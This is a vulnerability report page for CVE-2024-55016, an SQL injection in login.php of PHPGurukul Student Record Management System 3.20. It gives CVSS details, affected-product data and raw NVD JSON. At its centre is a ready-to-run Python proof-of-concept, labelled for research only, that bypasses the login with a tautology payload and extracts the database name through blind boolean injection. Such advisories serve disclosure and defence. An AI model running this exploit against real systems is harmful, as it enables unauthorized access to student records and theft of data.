Security Vulnerability Report
中文
CVE-2024-55016 CVSS 6.5 MEDIUM

CVE-2024-55016

Published: 2025-11-14 16:15:49
Last Modified: 2025-11-17 18:20:54

Description

PHPGurukul Student Record Management System 3.20 is vulnerable to SQL Injection via the id and password parameters in login.php.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:phpgurukul:student_record_system:3.20:*:*:*:*:*:*:* - VULNERABLE
PHPGurukul Student Record Management System 3.20

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2024-55016 SQL Injection PoC # Target: PHPGurukul Student Record Management System 3.20 # Endpoint: login.php target_url = "http://target-site.com/login.php" # Basic authentication bypass payload bypass_payload = { 'id': "admin' OR '1'='1", 'password': "admin' OR '1'='1" } # Blind boolean injection payload for data extraction def extract_data_via_blind_injection(): # Example: Extract database version using blind injection # This payload tests if database version starts with specific characters extracted_data = "" charset = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz._-" for pos in range(1, 50): # Adjust range based on expected data length for char in charset: payload = { 'id': f"admin' AND SUBSTRING((SELECT database()),{pos},1)='{char}-- ", 'password': 'test' } response = requests.post(target_url, data=payload) # Adjust condition based on actual application response if 'Login Success' in response.text or response.status_code == 302: extracted_data += char print(f"[*] Extracted: {extracted_data}") break return extracted_data if __name__ == "__main__": print("[*] Testing CVE-2024-55016 SQL Injection") print(f"[*] Target: {target_url}") # Test authentication bypass print("[*] Testing authentication bypass...") response = requests.post(target_url, data=bypass_payload) if 'dashboard' in response.text.lower() or response.status_code == 302: print("[+] Authentication bypass successful!") else: print("[-] Authentication bypass failed") print("[*] Try blind injection technique...") data = extract_data_via_blind_injection() print(f"[+] Extracted data: {data}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2024-55016", "sourceIdentifier": "[email protected]", "published": "2025-11-14T16:15:48.560", "lastModified": "2025-11-17T18:20:54.413", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "PHPGurukul Student Record Management System 3.20 is vulnerable to SQL Injection via the id and password parameters in login.php."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 2.5}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-89"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:phpgurukul:student_record_system:3.20:*:*:*:*:*:*:*", "matchCriteriaId": "3BE56291-1C2E-4DFB-84CB-1C130EBA0DE2"}]}]}], "references": [{"url": "https://github.com/leexsoyoung/CVEs/blob/main/CVE-2024-55016.md", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://phpgurukul.com/student-record-system-php", "source": "[email protected]", "tags": ["Product"]}]}}